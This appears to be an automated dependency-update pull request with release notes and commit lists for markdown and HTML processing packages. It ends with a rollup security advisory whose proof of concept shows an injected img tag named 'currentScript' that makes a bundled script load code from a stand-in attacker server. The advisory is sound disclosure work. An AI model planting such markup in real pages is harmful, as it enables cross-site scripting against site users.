See the full diff on Github. The new version differs by 64 commits:
13.2.0Add type for `data.meta` on elements to hastUpdate dev-dependencies13.1.0Add support for `file` in `options`Update dev-dependencies13.0.2Update dev-dependenciesFix `hProperties` on `tableCell`13.0.1Fix trimming of whitespace around breaksFix typosUpdate dev-dependencies13.0.0Fix testsChange to require Node.js 16Change to use `exports`Add smarter types for `passThrough`Refactor code-styleFix to match GH for HTML generated for backreferencesFix to keep content around for `hName` on textRefactor tests to use improved typesChange to deep clone passed through nodesChange to always return a nodeAdd supported data fields to `Data` of `mdast`Refactor some more codeChange to expect, yield `undefined`Refactor some codeChange to remove support for `Footnote` nodesChange to remove support for ancient `lang` on `code` with spacesChange to use maps for definitions on `state`Change to remove function form of `State`, use plain objectRefactor to use `structuredClone` polyfillChange to remove `all`, `one` helpersChange to remove `H` typeChange to remove `complex-types.d.ts`Refactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, `@types/mdast`, utilitiesUpdate dev-dependencies12.3.0Add a todo inlineFix footnote keys such as `constructor`Add `wrap` helper on `state`Add `one`, `all` helpers to `state`Rename `H` to `State`Add improved docsFix coverageAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor to move types to `index.d.ts`Fix support for passing just a table row, cellRefactor code-styleUpdate `tsconfig.json`Update Actions12.2.6Fix missing internal type12.2.5Use `module: node16` in typesUpdate dev-dependenciesRefactor types for TypeScript 4.9
↗️ mdast-util-to-markdown (indirect, 1.3.0 → 2.1.2) · Repo
Release Notes
2.1.2
- b0a91ea Fix crash in more complex content around attention
Full Changelog: 2.1.1...2.1.2
2.1.1
Fix
- 97fb818 Fix roundtripping of attention by encoding surroundings
Types
Full Changelog: 2.1.0...2.1.1
2.1.0
Add
- 5fd2f1e Add
compilePatternhelper to stateFull Changelog: 2.0.0...2.1.0
2.0.0
Change
- 6e5e12d Change to require Node.js 16
migrate: update too- d27d04d Update
@types/mdastand friends
migrate: update too- 5c90701 Change to use
exportsmap
migrate: don’t use private APIs- 89d0f5b Remove
bulletOrderedOther, always use other bullets
migrate: you can removebulletOrderedOtherif you passed it, it’s now the default- 7f91d06 Change
fencesdefault totrue
migrate: you can removefences: trueif you passed it, explicitly set it to
falseif you want that, but fenced code is better than indented code- 019f25f Change
listItemIndentdefault from'tab'(size) to'one'
migrate: you can removelistItemIndent: 'one'if you passed it, explicitly set it to
'tab'if you want that- 5b496da Remove ancient undocument support for
listItemIndent: 1
migrate:1->'one'- 2fcac46 Remove
Contexttype alias
migrate:Context->State- 445c51a Remove
SafeOptionstype alias
migrate:SafeOptions->InfoFull Changelog: 1.5.0...2.0.0
1.5.0
Fix
- 122101f Fix to not generate blank lines for phrasing roots
Add
- 21a7d0a Add export of
defaultHandlers- 070ad5f Add
associationIdhelper tostate- 35ceafc Add
createTrackerhelper onstate- e9f71aa Add
safehelper onstate- 19301e7 Add
containerPhrasing,containerFlowhelpers onstate- a638e2a Add
indentLineshelper onstateMisc
- d2108dd Refactor types to use node types, not strings
- 35a9ccc Add registry for construct names
- 501f668 Add support for
nullas input in types- e812c79 Add improved docs
Full Changelog: 1.4.0...1.5.0
1.4.0
- 2f3eeb7 Remove unneeded escapes of
-,*- 4cb437c Remove escape of
+when not followed by whitespace
by @ocavue in #57- 2c52778 Refactor some docs
Full Changelog: 1.3.0...1.4.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 63 commits:
2.1.2Fix crash in more complex content around attention2.1.1Fix roundtripping of attention by encoding surroundingsRefactor typesRefactor to use `@import`sAdd declaration mapsRefactor `package.json`Update ActionsRemove license yearRefactor `.editorconfig`Add `.tsbuildinfo` to `.gitignore`Update dev-dependencies2.1.0Add `compilePattern` helper to stateUpdate dev-dependencies2.0.0Change to require Node.js 16Change to use `exports` mapRemove `bulletOrderedOther`, always use other bulletsChange `fences` default to `true`Change `listItemIndent` default from `'tab'` (size) to `'one'`Remove ancient undocument support for `listItemIndent: 1`Remove `Context` type aliasRemove `SafeOptions` type aliasRefactor docsRefactor code-styleAdd `ignore-scripts` to `.npmrc`Use Gallium in ActionsRefactor `package.json`, `tsconfig.json`Update `@types/mdast` and friendsUpdate dev-dependenciesUpdate dev-dependencies1.5.0Add export of `defaultHandlers`Add `associationId` helper to `state`Add `createTracker` helper on `state`Add `safe` helper on `state`Add `containerPhrasing`, `containerFlow` helpers on `state`Add `indentLines` helper on `state`Refactor docs on typeRefactor types to use node types, not stringsAdd registry for construct namesAdd missing link in `readme.md`Fix to not generate blank lines for phrasing rootsAdd improved docsAdd support for `null` as input in typesRefactor typesUse Node test runnerUpdate `tsconfig.json`Refactor npm scriptsUpdate Action1.4.0Remove unneeded escapes of `-`, `*`Remove escape of `+` when not followed by whitespaceUpdate dev-dependenciesAdd improved internal types for `zwitch`Update `zwitch`Fix typesUpdate dev-dependenciesRefactor some docsUpdate dev-dependenciesReplace skypack w/ esm.sh
↗️ mdast-util-to-string (indirect, 3.1.0 → 4.0.0) · Repo
Release Notes
4.0.0
Change
- 6f7f7cf Change to require Node.js 16
migrate: update too- f77cf68 Change to use
exportmap
migrate: don’t use private APIsFull Changelog: 3.2.0...4.0.0
3.2.0
Feat
- 862d7ea Add
includeHtmloptionFull Changelog: 3.1.1...3.2.0
3.1.1
Misc
- 7380cd7 353622c Add improved docs
- eede172 537d210 b03ce26 e02b8b7 Refactor code-style
- ae5234c 1232790 Update
tsconfig.jsonFull Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 29 commits:
4.0.0Change to require Node.js 16Change to use `export` mapRefactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/mdast`Update dev-dependencies3.2.0Add `includeHtml` optionUpdate dev-dependencies3.1.1Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd improved docsRefactor code-styleUpdate dev-dependenciesAdd `ignore-scripts` to `.npmrc`Update `xo`Add `strict` to `tsconfig.json`Refactor code-styleUse `pull_request_target` in bb
↗️ micromark (indirect, 3.1.0 → 4.0.1) · Repo
Release Notes
4.0.1
Performance
- f955251 Refactor to improve performance of
resolveAllLabelEndMiscellaneous
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ micromark-extension-gfm-strikethrough (indirect, 1.0.4 → 2.1.0) · Repo
Release Notes
2.1.0
- 2354da5 Add
name
by @shlroland in #4- 874f0ac Refactor to use
@importsFull Changelog: 2.0.0...2.1.0
2.0.0
- c6c9efd Change to require Node.js 16
migrate: update Node- 75b799b Change to expose functions
migrate:gfmStrikethroughHtml->gfmStrikethroughHtml()- 78fe632 Update
micromarkFull Changelog: 1.0.7...2.0.0
1.0.7
Fix
- d519655 Fix missing exposed type
Full Changelog: 1.0.6...1.0.7
1.0.6
Types
- 36a6b6d Update types for changes in
micromark-util-typesFull Changelog: 1.0.5...1.0.6
1.0.5
Full Changelog: 1.0.4...1.0.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
2.1.0Refactor to use `@import`sUpdate dev-dependenciesAdd `name`2.0.0Change to require Node.js 16Remove unneeded xo rulesRemove unneeded `main`, `types` fieldsRefactor docsChange to expose functionsReplace dependencyUpdate `micromark`Add `ignore-scripts` to `.npmrc`Refactor code-styleRefactor `package.json`, `tsconfig.json`Update dev-dependencies1.0.7Fix missing exposed type1.0.6Update types for changes in `micromark-util-types`Update dev-dependencies1.0.5Add improved docsAdd script to test in productionAdd tests for exposed identifiersRefactor testsUse Node test runnerAdd improved JSDocRefactor typesUpdate `tsconfig.json`Update dev-dependenciesUpdate ActionsFix types for TS 4.9Fix typoAdd `.gitattributes`Add improved docsRefactor code-styleUpdate dev-dependenciesReplace skypack w/ esm.sh
↗️ micromark-extension-gfm-table (indirect, 1.0.5 → 2.1.0) · Repo
Release Notes
2.1.0
- da4900e Add
name
by @shlroland in #13- 5f2eb21 Refactor to use
@importsFull Changelog: 2.0.0...2.1.0
2.0.0
Change
- da8dc23 Change to require Node.js 16
migrate: update Node- 57a0069 Change to expose functions
migrate:gfmTable->gfmTable()- b2ebed6 Update
micromarkFull Changelog: 1.0.7...2.0.0
1.0.7
Types
- a59da0b Update types for changes in
micromark-util-typesFull Changelog: 1.0.6...1.0.7
1.0.6
Perf
- 9033e98 Refactor code to match
markdown-rs, fix perfMisc
Full Changelog: 1.0.5...1.0.6
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 38 commits:
2.1.0Refactor to use `@import`sUpdate dev-dependenciesAdd `name`2.0.0Change to require Node.js 16Remove unneeded `main`, `types` fieldsRefactor docsChange to expose functionsAdd `ignore-scripts` to `.npmrc`Replace dependencyUpdate `micromark`Refactor code-styleRefactor `package.json`, `tsconfig.json`Update dev-dependencies1.0.7Update types for changes in `micromark-util-types`1.0.6Update dev-dependenciesAdd improved docsRefactor code to match `markdown-rs`, fix perfAdd script to test in productionAdd tests for exposed identifiersRefactor code-styleUse Node test runnerAdd improved JSDocsRefactor typesUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesFix types for TS 4.9Add link to issue in testAdd fixture for interruptionUpdate dev-dependenciesAdd improved docsRefactor code-styleUpdate dev-dependenciesReplace skypack w/ esm.sh
↗️ micromark-util-symbol (indirect, 1.0.1 → 2.0.1) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ nlcst-to-string (indirect, 3.1.0 → 4.0.0) · Repo
Release Notes
4.0.0
Change
- a3ff3fc Update
@types/nlcst
migrate: update too- e4b95c3 Change to require Node.js 16
migrate: update too- 0f4c52c Change to use
exports
migrate: don’t use private APIs- b1ba622 Remove
separator
migrate: afaik nobody used thisFull Changelog: 3.1.1...4.0.0
3.1.1
Misc
- c3f0963 abedfe3 Add improved docs
- f717b75 a6eeaea Refactor code-style
- 62ca051 Update
tsconfig.json- eeb785c Fix typo
by @mattleff in #8- 403d665 Fix typo
by @justjavac in #7Full Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
4.0.0Change to require Node.js 16Change to use `exports`Refactor docsRemove `separator`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/nlcst`Update dev-dependencies3.1.1Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesFix typoFix typoAdd improved docsRefactor code-styleUpdate dev-dependenciesadd `ignore-scripts` to `.npmrc`
↗️ parse-latin (indirect, 5.0.1 → 7.0.0) · Repo
Release Notes
7.0.0
Change
- 8fe6893 Update
@types/nlcst,@types/unist, utilities
migrate: update too- ad2d932 Change to require Node.js 16
migrate: update too- 6ce04d2 Change to use
exports
migrate: don’t use private APIs- 1d96ee6 Change to use
undefinedfordocfield
migrate: expectundefinedFull Changelog: 6.0.2...7.0.0
6.0.2
Patch
- 34aaffa Update Unicode
Misc
Full Changelog: 6.0.1...6.0.2
6.0.1
Misc
- 379499e Fix crash on nodes without positional info
Full Changelog: 6.0.0...6.0.1
6.0.0
- 54baf82 Add types, remove
position,use,useFirst
feature: add types
breaking: removepositionfield (useunist-util-remove-positionif you previously setposition: false)
breaking: remove support foruse,useFirst(manipulate the lists of plugins yourself)
patch: fix support for CR, CRLF line endings- 4d1626d Add improved docs
Full Changelog: 5.0.1...6.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 36 commits:
7.0.0Change to require Node.js 16Change to use `exports`Change to use `undefined` for `doc` fieldRefactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/nlcst`, `@types/unist`, utilitiesUpdate dev-dependencies6.0.2Use `bundlejs`Fix typoRefactor docsAdd tests for exposed identifiersRemove superfluous testRefactor JSDocRefactor code-styleAdd `ignore-scripts` to `.npmrc`Remove unused dev-dependencyUpdate UnicodeRemove `skipLibCheck`Refactor `package.json`Update ActionsUpdate dev-dependencies6.0.1Refactor docsFix crash on nodes without positional infoAdd tests for exposed identifiersRefactor code-styleUpdate ActionsUpdate dev-dependencies6.0.0Remove old badgeAdd improved docsAdd types, remove `position`, `use`, `useFirst`
↗️ preferred-pm (indirect, 3.0.3 → 4.0.0) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ property-information (indirect, 6.2.0 → 6.5.0) · Repo
Release Notes
6.5.0
- 5eb7b1a Add
shadowRootClonable,writingSuggestionsFull Changelog: 6.4.1...6.5.0
6.4.1
- 172b09b Fix candidate
captureto be stringFull Changelog: 6.4.0...6.4.1
6.4.0
- 4f47923 Add
onBeforeToggle,shadowRootDelegatesFocus,shadowRootModeFull Changelog: 6.3.0...6.4.0
6.3.0
Data
- d2b13fb Add
blocking,fetchPriority,inert,popover, etcMiosc
- f66247a Update derivative work license for react
by @AndyScherzinger in #17Full Changelog: 6.2.0...6.3.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 14 commits:
6.5.0Update dev-dependenciesAdd `shadowRootClonable`, `writingSuggestions`Update dev-dependencies6.4.1Fix candidate `capture` to be stringUpdate dev-dependencies6.4.0Add `onBeforeToggle`, `shadowRootDelegatesFocus`, `shadowRootMode`Update dev-dependencies6.3.0Update derivative work license for reactAdd `blocking`, `fetchPriority`, `inert`, `popover`, etcUpdate dev-dependencies
↗️ rehype (indirect, 12.0.1 → 13.0.2) · Repo · Changelog
Release Notes
13.0.2
(note: this is a patch of all packages)
Miscellaneous
- e578a2b Add license file to packages
by @MarkAshraf96 in #180Types
Documentation
- 6df7687 Add
rehype-calloutsto list of plugins
by @lin-stephanie in #175- f6912ac Add
rehype-starry-nightto list of plugins- 43a29ac Add
rehype-twoslashto list of plugins- 0807035 Add
rehype-highlight-code-linesto list of plugins
by @talatkuyuk in #172- 40fe9ff Add
rehype-svgoto list of plugins
by @TomerAberbach in #169- 9bc5528 Add
rehype-auto-adsto list of plugins
by @Robot-Inventor in #165- 6849661 Add
rehype-scroll-to-top,rehype-smenatic-imagesto list of plugins
by @benjamincharity in #163Full Changelog: 13.0.1...13.0.2
13.0.1
Types
- 372da4d Add augmentation of settings types to
rehypeFull Changelog: 13.0.0...13.0.1
13.0.0
Change
- f6b628d Update
unified,unified-args,@types/hast, etc
migrate: update too
if you passed anentitiesoption torehype/rehype-stringify, change it tocharacterReferences
if you userehype-cli, expect dotfiles to be included by default, add them to an ignore file if you don’t want them- 830757d Change to require Node.js 16
migrate: update too- 17079b0 Change to use
exports
migrate: don’t use private APIsAdd
- 7c9115b Add typed settings
migrate: don’t use private APIs
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 62 commits:
13.0.2Update Node in ActionsAdd declaration mapsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependenciesAdd license file to packagesAdd `rehype-callouts` to list of pluginsAdd `rehype-starry-night` to list of pluginsAdd `rehype-twoslash` to list of pluginsRefactor to use `@import`sUpdate dev-dependenciesAdd `rehype-highlight-code-lines` to list of pluginsUpdate dev-dependenciesAdd `rehype-svgo` to list of pluginsAdd `rehype-auto-ads` to list of pluginsUpdate dev-dependenciesAdd `rehype-scroll-to-top`, `rehype-smenatic-images` to list of plugins13.0.1Add augmentation of settings types to `rehype`rehype-cli: 12.0.013.0.0rehype-stringify: 10.0.0rehype-parse: 9.0.0Change to require Node.js 16Change to use `exports`Refactor docsAdd typed settingsRefactor code-styleRefactor to use `node:test`Add `ignore-scripts` to `.npmrc`sRefactor ActionsRefactor `package.json`sRefactor `tsconfig.json`sUpdate `unified`, `unified-args`, `@types/hast`, etcUpdate dev-dependenciesrehype-stringify: 9.0.4rehype-parse: 8.0.5Add `rehype-class-names` to list of pluginsAdd `rehype-remove-images` to list of pluginsAdd sponsorAdd `rehype-mermaidjs` to list of pluginsFix TypeScript buildAdd `rehype-color-chips` to the list of pluginsAdd `rehype-sectionize` to list of pluginsUpdate `tsconfig.json` to use use node16 module resolutionUpdate ActionsAdd `ignore-scripts` to `.npmrc`Fix internal types for TS 4.9Update Node in ActionsUpdate dev-dependenciesAdd `rehype-extract-meta` to list of pluginsAdd `rehype-jargon` to list of pluginsAdd `rehype-slug-custom-id` to list of pluginsAdd `rehype-lodash-template` to list of pluginAdd `rehype-postcss` to list of pluginsAdd `rehype-ignore` to list of pluginsFix typoAdd `.gitattributes`Replace skypack w/ esm.shAdd links to `rehype-format`, `rehype-minify`Update dev-dependenciesrehype-cli: 11.0.1
↗️ rehype-parse (indirect, 8.0.4 → 9.0.1) · Repo · Changelog
Release Notes
9.0.1
See
rehype-parse@6.0.2andrehype-stringify@6.0.1Project
9.0.0
- 3cf3c91 Update
unified(seeunified@8.0.0)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
9.0.1rehype-stringify: 6.0.1rehype-parse: 6.0.2Add `funding` to packagesUpdate fixturesUpdate dev-dependenciesUpdate dev-dependenciesAdd `rehype-truncate` to list of pluginsAdd `rehype-url-inspector` to pluginsUpdate websiteUpdate sponsorsAdd notes on securityUpdate dev-dependenciesFix event handlers in testsFix cli test help outputrehype-cli: 8.0.0rehype-cli: update `rehype`rehype-cli: update `unified-args`Update dev-dependencies
↗️ rehype-raw (indirect, 6.1.1 → 7.0.0) · Repo
Release Notes
7.0.0
Change
- cdbb980 Update
hast-util-raw,@types/hast
migrate: update too- 9a794bb Change to require Node.js 16
migrate: update too- cd34249 Change to use
exports
migrate: don’t use private APIsFull Changelog: 6.1.1...7.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
7.0.0Change to require Node.js 16Change to use `exports`Refactor docsRefactor code-styleRefactor to move implementation to `lib/`Refactor ActionsRefactor `package.json`Refactor `tsconfig.json`Update `hast-util-raw`, `@types/hast`Update dev-dependenciesUpdate `tsconfig.json`, use `node:test`Update exampleUpdate dev-dependenciesReplace skypack w/ esm.sh
↗️ rehype-stringify (indirect, 9.0.3 → 10.0.1) · Repo · Changelog
Release Notes
10.0.1
- 4e9cee5 rehype: update
rehype-stringify
(breaking, this should’ve gone in 10.0.0)
10.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
↗️ remark-gfm (indirect, 3.0.1 → 4.0.0) · Repo
Release Notes
4.0.0
Change
- b8cc334 Update
@types/mdast,unified, utilities
migrate: update too- 9eb0f54 Change to use
exports
migrate: don’t use private APIs- 5715c93 Change to require Node.js 16
migrate: update tooFull Changelog: 3.0.1...4.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 26 commits:
4.0.0Change to use `exports`Change to require Node.js 16Refactor docsRefactor to move code to `lib/`Refactor code-styleRefactor to use `node:test`Refactor `.npmrc`Refactor ActionsRefactor `package.json`Refactor `tsconfig.json`Update `@types/mdast`, `unified`, utilitiesUpdate dev-dependenciesFix tests to reflect changes in `micromark-extension-gfm-table`Update dev-dependenciesAdd `ignore-scripts` to `.npmrc`Remove lint rule for nowFix internal types for TS 4.9Update Node in ActionsUpdate dev-dependenciesUpdate tests for changes in internal dependenciesUpdate dev-dependenciesReplace skypack w/ esm.shUpdate dev-dependenciesFix linkAdd `remark-mdx` to list of related projects
↗️ remark-parse (indirect, 10.0.1 → 11.0.0) · Repo · Changelog
Release Notes
11.0.0
Breaking
- 8d02516 Add TypeScript definitions
- c5484d8 Update
remark-stringify(seeremarkjs/remark@remark-stringify@7.0.0)- 43364b0 Update
remark-parse(seeremarkjs/remark@remark-parse@7.0.0)- 25df13d Update
unified(seeunifiedjs/unified@8.0.0)Project
- a47c3c9 Add more links to unified for examples of use
- a93db25 Remove community health files
- 1578bdf Refactor prose
- 70ada4a Move URLs from HTTP to HTTPS
- edb284a Add more badges
Plugins
- 927083c Add
remark-code-frontmatter to plugins- 0ee5336 Add
remark-code-extrato List of Plugins- 5d13f8e Update list of plugins
- cc7867b Add
remark-tree-sitterto list of plugins- cca8385 Add
remark-sectionizeto plugins.md- f4230e3 Add
remark-capitalizeto list of plugins- cf52183 Add
remark-utf8sandremark-code-screenshotto list of plugins- caaf374 Add
remark-redactableto list of plugins
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 44 commits:
11.0.0remark: update `remark-stringify`remark: update `remark-parse`remark-stringify: 7.0.0remark-parse: 7.0.0Fix entities testFix CLI help text testFix tests not failing on errorUpdate dev-dependenciesAdd TypeScript definitionsFix inline code and vertical bars in tablesFix non-ASCII whitespace in inline codeFix initial, final newlines in fenced codeFix tilde, backtick in fenced code info stringFix to prefer footnote instead of reference labelFix support for definitions in list and blockquoteFix to merge blockquotes in gfm modeAdd `remark-code-frontmatter to plugins`Add more links to unified for examples of useAdd `remark-code-extra` to List of PluginsUpdate list of pluginsRemove community health filesRefactor proseRemove superfluous `xo` rulesUpdate `.mailmap`Update metadata in `package.json`sFix tests on WindowsUpdate Node in TravisMove URLs from HTTP to HTTPSremark-cli: update `unified-args`remark: update `unified`remark-stringify: update `stringify-entities`Update dev-dependenciesAdd `remark-tree-sitter` to list of pluginsAdd `name` to `package.json`Add `remark-sectionize` to plugins.mdAdd `remark-capitalize` to list of pluginsAdd remark-utf8s and remark-code-screenshot to list of pluginsremark-parse: fix docs referencing positionAdd `remark-redactable` to list of pluginsFix project links in readmeUpdate dev-dependenciesAdd more badgesremark-cli: 6.0.1
↗️ remark-rehype (indirect, 10.1.0 → 11.1.1) · Repo
Release Notes
11.1.1
Fix
- f0cce2d Fix mutate support in
unified-engineMiscellaneous
- 364ee71 Remove license year
Types
Full Changelog: 11.1.0...11.1.1
11.1.0
Add
- 0174dfc Add
fileto options passed tomdast-util-to-hastFull Changelog: 11.0.0...11.1.0
11.0.0
Change
- 30091c7 Change to require Node.js 16
migrate: update too- cafeacc Change to use
exports
migrate: don’t use private APIs- acb292a Update
mdast-util-to-hast,@types/{hast,mdast}, unified, etc
migrate: update too
if you don’t use handlers, this should be fine;
if you do, seemdast-util-to-hast@13.0.0- ba50965 Remove
Processortype
migrate: get it fromunifiedAdd
- b990986 Add exports of
defaultFootnoteBackContent,defaultFootnoteBackLabelFull Changelog: 10.1.0...11.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 33 commits:
11.1.1Fix mutate support in `unified-engine`Refactor to use `@import`sAdd declaration mapsRemove license yearUpdate ActionsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependencies11.1.0Add `file` to options passed to `mdast-util-to-hast`Update dev-dependencies11.0.0Change to require Node.js 16Change to use `exports`Add exports of `defaultFootnoteBackContent`, `defaultFootnoteBackLabel`Remove `Processor` typeRefactor docsRefactor code-styleUpdate `mdast-util-to-hast`, `@types/{hast,mdast}`, unified, etcRefactor to use `node:test`Refactor `.npmrc`Refactor ActionsRefactor `package.json`Refactor `tsconfig.json`Update dev-dependenciesAdd `ignore-scripts` to `.npmrc`Fix to turn of `this` error introduced in TS 4.9Update docs for changes in `mdast-util-to-hast`Update docsUpdate dev-dependenciesAdd docs for `footnoteLabelTagName`, `footnoteLabelProperties`Replace skypack w/ esm.shAdd link to solving clobbering in docs
↗️ remark-smartypants (indirect, 2.0.0 → 3.0.2) · Repo
Release Notes
3.0.2
What's Changed
- Fix smart quotes at the start of paragraphs by @rwblickhan in #87
New Contributors
- @rwblickhan made their first contribution in #87
Full Changelog: v3.0.1...v3.0.2
3.0.1
What's Changed
New Contributors
Full Changelog: v3.0.0...v3.0.1
3.0.0
Update TypeScript definiition for unified v11 🚀 Thanks @mashehu for the help!
From the development side we also migrated the source code to TypeScript, so future updates should be safer.
Let us know if you find any regressions!
2.1.0
So far this plugin had trouble with nested use cases like adding quotes around links (
"[example](https://example.com)") and inline code ("`code`") — it wouldn't recognize that the 2nd quote is the closing quote and turn them into proper smart quotes. Thankfully @dimaMachina and @2wheeh helped with handling these inception cases much better 💪
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ retext (indirect, 8.1.0 → 9.0.0) · Repo · Changelog
Release Notes
9.0.0
Change
- a4987d7 Update
@types/nlcst,unified, utilities, etc
migrate: update too- 252453a Change to require Node.js 16
migrate: update too- e719bf4 Change to use
exports
migrate: don’t use private APIs- 67cef52 Remove parser exports
migrate: get them fromparse-englishand similarMisc
- b179ede Add
retext-lexrankto list of plugins
by @gorango in #82- 44d6e7a Add
retext-case-policeto list of plugins
by @JulianCataldo in #78Full Changelog: 8.1.0...9.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 32 commits:
9.0.0retext-stringify: 4.0.0retext-latin: 4.0.0retext-english: 5.0.0retext-dutch: 5.0.0Change to require Node.js 16Change to use `exports`Refactor docsRefactor code-styleRemove parser exportsRefactor to use `node:test`Add `ignore-scripts` to `.npmrc`sRefactor ActionsRefactor `package.json`sRefactor `tsconfig.json`sUpdate `@types/nlcst`, `unified`, utilities, etcUpdate dev-dependenciesFix buildAdd sponsorAdd `ignore-scripts` to `.npmrc`Update ActionsUpdate Node in ActionsFix internal types for TS 4.9Update dev-dependenciesAdd `retext-lexrank` to list of pluginsAdd `retext-case-police` to list of pluginsRefactor some more docsRefactor code-styleAdd improved docsUpdate dev-dependenciesUpdate sponsorsUpdate dev-dependencies
↗️ retext-smartypants (indirect, 5.2.0 → 6.2.0) · Repo
Release Notes
6.2.0
Add
- f8f9683 Add support for live typing 3 dashes
Full Changelog: 6.1.1...6.2.0
6.1.1
- b4629a7 Fix quote surrounded by punctuation near end of string
Full Changelog: 6.1.0...6.1.1
6.1.0
- 6fa9e37 Add expanded ellipses options
by @teddybradford in #11Full Changelog: 6.0.0...6.1.0
6.0.0
Change
- 11271dd Update
@types/nlcst,unified, utilities, etc
migrate: update too- 1f0d960 Change to use
exports
migrate: update too- d79c475 Change to require Node.js 16
migrate: don’t use private APIsFull Changelog: 5.2.0...6.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
6.2.0Add support for live typing 3 dashesRefactor `package.json`Refactor `.editorconfig`Refactor ActionsRemove license yearAdd `.tsbuildinfo` to `.gitignore`6.1.1Fix quote surrounded by punctuation near end of stringRefactor to use `@import`sAdd declaration mapsUpdate dev-dependencies6.1.0Update dev-dependenciesAdd expanded ellipses options6.0.0Change to use `exports`Change to require Node.js 16Refactor docsRefactor code-styleRefactor to use `node:test`Refactor to move implementation to `lib/`Add `ignore-scripts` to `.npmrc`Refactor ActionsRefactor `package.json`Refactor `tsconfig.json`Update `@types/nlcst`, `unified`, utilities, etcUpdate dev-dependencies
↗️ rollup (indirect, 2.79.1 → 4.28.1) · Repo · Changelog
Security Advisories 🚨
🚨 DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use
import.meta.urlor with plugins that emit and reference asset files from code incjs/umd/iifeformat. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., animgtag with an unsanitizednameattribute) are present.It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadget found in
rollupWe have identified a DOM Clobbering vulnerability in
rollupbundled scripts, particularly when the scripts usesimport.metaand set output in format ofcjs/umd/iife. In such cases,rollupreplaces meta property with the URL retrieved fromdocument.currentScript.rollup/src/ast/nodes/MetaProperty.ts
Lines 157 to 162 in b86ffd7
rollup/src/ast/nodes/MetaProperty.ts
Lines 180 to 185 in b86ffd7
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, thesrcattribute of the attacker-controlled element (e.g., animgtag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use therollupto bundle up the program:rollup main.js --format cjs --file bundle.js.var s = document.createElement('script') s.src = import.meta.url + 'extra.js' document.head.append(s)The output
bundle.jsis shown in the following code snippet.'use strict'; var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null; var s = document.createElement('script'); s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js'; document.head.append(s);Adding the
rollupbundled script,bundle.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.serverdue to the introduced gadget during bundling. The attacker only needs to insert animgtag with the name attribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>rollup Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="bundle.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of
cjs,iife, orumdand useimport.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing thenameoridattributes.Patch
